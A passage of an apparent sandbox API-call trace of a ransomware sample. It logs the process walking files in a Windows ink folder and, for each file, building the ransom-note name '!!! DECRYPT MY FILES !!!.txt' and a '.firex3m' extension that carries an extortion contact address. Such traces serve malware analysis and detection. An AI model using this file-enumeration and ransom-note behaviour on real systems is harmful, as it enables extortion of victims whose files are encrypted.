psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeda8*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0114.557] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0114.558] FindNextFileW (in: hFindFile=0x6d4ec0, lpFindFileData=0x6ebee14 | out: lpFindFileData=0x6ebee14*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d100bae, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x7d100bae, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x7d100bae, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xa42, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipsnld.xml", cAlternateFileName="")) returned 1 [0114.558] SysReAllocStringLen (in: pbstr=0x6ebee08*="c:\\program files\\common files\\microsoft shared\\ink\\ipsmigrationplugin.dll", psz="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsnld.xml", len=0x3d | out: pbstr=0x6ebee08*="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsnld.xml") returned 1 [0114.558] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsnld.xml", cchLength=0x3d | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\ipsnld.xml") returned 0x3d [0114.558] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdd78, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0114.558] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdd78, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0114.558] SysReAllocStringLen (in: pbstr=0x6ebeda8*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeda8*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0114.558] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0114.558] GetProcessHeap () returned 0x630000 [0114.558] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6b01f8, Size=0x18) returned 0x6b02b8 [0114.558] FindNextFileW (in: hFindFile=0x6d4ec0, lpFindFileData=0x6ebee14 | out: lpFindFileData=0x6ebee14*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d100bae, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x7d100bae, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x7d100bae, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xa14, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipsnor.xml", cAlternateFileName="")) returned 1 [0114.558] SysReAllocStringLen (in: pbstr=0x6ebee08*="c:\\program files\\common files\\microsoft shared\\ink\\ipsnld.xml", psz="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsnor.xml", len=0x3d | out: pbstr=0x6ebee08*="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsnor.xml") returned 1 [0114.558] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsnor.xml", cchLength=0x3d | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\ipsnor.xml") returned 0x3d [0114.559] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdd78, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0114.559] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdd78, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0114.559] SysReAllocStringLen (in: pbstr=0x6ebeda8*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeda8*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0114.559] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0114.563] GetProcessHeap () returned 0x630000 [0114.563] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xc) returned 0x6b1208 [0114.563] FindNextFileW (in: hFindFile=0x6d4ec0, lpFindFileData=0x6ebee14 | out: lpFindFileData=0x6ebee14*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d100bae, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x7d100bae, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x7d100bae, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xa28, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipsplk.xml", cAlternateFileName="")) returned 1 [0114.563] SysReAllocStringLen (in: pbstr=0x6ebee08*="c:\\program files\\common files\\microsoft shared\\ink\\ipsnor.xml", psz="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsplk.xml", len=0x3d | out: pbstr=0x6ebee08*="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsplk.xml") returned 1 [0114.563] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsplk.xml", cchLength=0x3d | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\ipsplk.xml") returned 0x3d [0114.564] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdd78, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0114.564] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdd78, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0114.564] SysReAllocStringLen (in: pbstr=0x6ebeda8*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeda8*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0114.564] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0114.564] GetProcessHeap () returned 0x630000 [0114.564] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6b1208, Size=0x10) returned 0x6b1220 [0114.564] FindNextFileW (in: hFindFile=0x6d4ec0, lpFindFileData=0x6ebee14 | out: lpFindFileData=0x6ebee14*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d126e12, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xe46546cb, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xe46546cb, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x1ec00, dwReserved0=0x0, dwReserved1=0x0, cFileName="IpsPlugin.dll", cAlternateFileName="")) returned 1 [0114.564] SysReAllocStringLen (in: pbstr=0x6ebee08*="c:\\program files\\common files\\microsoft shared\\ink\\ipsplk.xml", psz="C:\\Program Files\\Common Files\\microsoft shared\\ink\\IpsPlugin.dll", len=0x40 | out: pbstr=0x6ebee08*="C:\\Program Files\\Common Files\\microsoft shared\\ink\\IpsPlugin.dll") returned 1 [0114.564] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\microsoft shared\\ink\\IpsPlugin.dll", cchLength=0x40 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\ipsplugin.dll") returned 0x40 [0114.564] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdd78, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0114.564] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdd78, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0114.564] SysReAllocStringLen (in: pbstr=0x6ebeda8*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeda8*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0114.564] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0114.565] FindNextFileW (in: hFindFile=0x6d4ec0, lpFindFileData=0x6ebee14 | out: lpFindFileData=0x6ebee14*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7c940eb6, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x7c940eb6, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x7c940eb6, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x8c6, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipsptb.xml", cAlternateFileName="")) returned 1 [0114.565] SysReAllocStringLen (in: pbstr=0x6ebee08*="c:\\program files\\common files\\microsoft shared\\ink\\ipsplugin.dll", psz="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsptb.xml", len=0x3d | out: pbstr=0x6ebee08*="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsptb.xml") returned 1 [0114.565] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsptb.xml", cchLength=0x3d | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\ipsptb.xml") returned 0x3d [0114.565] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdd78, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0114.565] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdd78, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0114.565] SysReAllocStringLen (in: pbstr=0x6ebeda8*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeda8*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0114.565] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0114.565] GetProcessHeap () returned 0x630000 [0114.565] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6b1220, Size=0x14) returned 0x6b0398 [0114.565] FindNextFileW (in: hFindFile=0x6d4ec0, lpFindFileData=0x6ebee14 | out: lpFindFileData=0x6ebee14*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7c940eb6, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x7c940eb6, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x7c940eb6, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x8c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipsptg.xml", cAlternateFileName="")) returned 1 [0114.565] SysReAllocStringLen (in: pbstr=0x6ebee08*="c:\\program files\\common files\\microsoft shared\\ink\\ipsptb.xml", psz="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsptg.xml", len=0x3d | out: pbstr=0x6ebee08*="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsptg.xml") returned 1 [0114.565] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsptg.xml", cchLength=0x3d | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\ipsptg.xml") returned 0x3d [0114.565] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdd78, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0114.566] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdd78, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0114.566] SysReAllocStringLen (in: pbstr=0x6ebeda8*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeda8*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0114.566] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0114.566] GetProcessHeap () returned 0x630000 [0114.566] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6b0398, Size=0x18) returned 0x6b0418 [0114.566] FindNextFileW (in: hFindFile=0x6d4ec0, lpFindFileData=0x6ebee14 | out: lpFindFileData=0x6ebee14*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7c96711d, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x7c96711d, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x7c96711d, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xa54, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipsrom.xml", cAlternateFileName="")) returned 1 [0114.566] SysReAllocStringLen (in: pbstr=0x6ebee08*="c:\\program files\\common files\\microsoft shared\\ink\\ipsptg.xml", psz="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsrom.xml", len=0x3d | out: pbstr=0x6ebee08*="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsrom.xml") returned 1 [0114.566] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsrom.xml", cchLength=0x3d | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\ipsrom.xml") returned 0x3d [0114.566] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdd78, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0114.566] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdd78, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0114.566] SysReAllocStringLen (in: pbstr=0x6ebeda8*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeda8*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0114.566] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0114.567] GetProcessHeap () returned 0x630000 [0114.567] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6b0418, Size=0x1c) returned 0x6e8fe0 [0114.567] FindNextFileW (in: hFindFile=0x6d4ec0, lpFindFileData=0x6ebee14 | out: lpFindFileData=0x6ebee14*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7c940eb6, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x7c940eb6, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x7c940eb6, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x9ee, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipsrus.xml", cAlternateFileName="")) returned 1 [0114.567] SysReAllocStringLen (in: pbstr=0x6ebee08*="c:\\program files\\common files\\microsoft shared\\ink\\ipsrom.xml", psz="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsrus.xml", len=0x3d | out: pbstr=0x6ebee08*="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsrus.xml") returned 1 [0114.567] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsrus.xml", cchLength=0x3d | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\ipsrus.xml") returned 0x3d [0114.567] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdd78, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0114.567] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdd78, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0114.567] SysReAllocStringLen (in: pbstr=0x6ebeda8*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeda8*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0114.567] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0114.567] GetProcessHeap () returned 0x630000 [0114.567] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6e8fe0, Size=0x20) returned 0x6e9080 [0114.567] FindNextFileW (in: hFindFile=0x6d4ec0, lpFindFileData=0x6ebee14 | out: lpFindFileData=0x6ebee14*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7c940eb6, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x7c940eb6, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x7c940eb6, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xa08, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipssrb.xml", cAlternateFileName="")) returned 1 [0114.567] SysReAllocStringLen (in: pbstr=0x6ebee08*="c:\\program files\\common files\\microsoft shared\\ink\\ipsrus.xml", psz="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipssrb.xml", len=0x3d | out: pbstr=0x6ebee08*="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipssrb.xml") returned 1 [0114.568] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipssrb.xml", cchLength=0x3d | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\ipssrb.xml") returned 0x3d [0114.568] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdd78, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0114.568] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdd78, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0114.568] SysReAllocStringLen (in: pbstr=0x6ebeda8*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeda8*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0114.568] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0114.568] GetProcessHeap () returned 0x630000 [0114.568] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6e9080, Size=0x24) returned 0x699a98 [0114.568] FindNextFileW (in: hFindFile=0x6d4ec0, lpFindFileData=0x6ebee14 | out: lpFindFileData=0x6ebee14*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7c940eb6, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x7c940eb6, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x7c940eb6, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xa24, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipssrl.xml", cAlternateFileName="")) returned 1 [0114.568] SysReAllocStringLen (in: pbstr=0x6ebee08*="c:\\program files\\common files\\microsoft shared\\ink\\ipssrb.xml", psz="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipssrl.xml", len=0x3d | out: pbstr=0x6ebee08*="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipssrl.xml") returned 1 [0114.568] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipssrl.xml", cchLength=0x3d | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\ipssrl.xml") returned 0x3d [0114.568] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdd78, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0114.568] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdd78, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0114.568] SysReAllocStringLen (in: pbstr=0x6ebeda8*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeda8*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0114.568] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0114.569] GetProcessHeap () returned 0x630000 [0114.569] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x699a98, Size=0x28) returned 0x699768 [0114.569] FindNextFileW (in: hFindFile=0x6d4ec0, lpFindFileData=0x6ebee14 | out: lpFindFileData=0x6ebee14*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7c940eb6, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x7c940eb6, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x7c940eb6, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x9d8, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipssve.xml", cAlternateFileName="")) returned 1 [0114.569] SysReAllocStringLen (in: pbstr=0x6ebee08*="c:\\program files\\common files\\microsoft shared\\ink\\ipssrl.xml", psz="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipssve.xml", len=0x3d | out: pbstr=0x6ebee08*="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipssve.xml") returned 1 [0114.569] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipssve.xml", cchLength=0x3d | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\ipssve.xml") returned 0x3d [0114.569] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdd78, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0114.569] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdd78, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0114.569] SysReAllocStringLen (in: pbstr=0x6ebeda8*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeda8*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0114.569] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0114.569] GetProcessHeap () returned 0x630000 [0114.569] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x699768, Size=0x2c) returned 0x6ed63f0 [0114.569] FindNextFileW (in: hFindFile=0x6d4ec0, lpFindFileData=0x6ebee14 | out: lpFindFileData=0x6ebee14*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d126e12, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x7d126e12, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x7d126e12, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xaa0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipstr.xml", cAlternateFileName="")) returned 1 [0114.570] SysReAllocStringLen (in: pbstr=0x6ebee08*="c:\\program files\\common files\\microsoft shared\\ink\\ipssve.xml", psz="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipstr.xml", len=0x3c | out: pbstr=0x6ebee08*="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipstr.xml") returned 1 [0114.570] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipstr.xml", cchLength=0x3c | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\ipstr.xml") returned 0x3c [0114.570] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdd78, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0114.570] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdd78, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0114.570] SysReAllocStringLen (in: pbstr=0x6ebeda8*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeda8*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0114.570] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0114.570] GetProcessHeap () returned 0x630000 [0114.570] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6ed63f0, Size=0x30) returned 0x6ed6230 [0114.570] FindNextFileW (in: hFindFile=0x6d4ec0, lpFindFileData=0x6ebee14 | out: lpFindFileData=0x6ebee14*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0769b1e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3a0736, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="it-IT", cAlternateFileName="")) returned 1 [0114.570] SysReAllocStringLen (in: pbstr=0x6ebeb48*=0x0, psz="C:\\Program Files\\Common Files\\microsoft shared\\ink\\it-IT\\", len=0x39 | out: pbstr=0x6ebeb48*="C:\\Program Files\\Common Files\\microsoft shared\\ink\\it-IT\\") returned 1 [0114.570] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\microsoft shared\\ink\\it-IT\\", cchLength=0x39 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\it-it\\") returned 0x39 [0114.570] SysReAllocStringLen (in: pbstr=0x6ebeaf0*=0x0, psz="C:\\Users\\FD1HVy\\Desktop\\", len=0x18 | out: pbstr=0x6ebeaf0*="C:\\Users\\FD1HVy\\Desktop\\") returned 1 [0114.570] CharLowerBuffW (in: lpsz="C:\\Users\\FD1HVy\\Desktop\\", cchLength=0x18 | out: lpsz="c:\\users\\fd1hvy\\desktop\\") returned 0x18 [0114.571] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\it-IT\\*.*", lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x10, 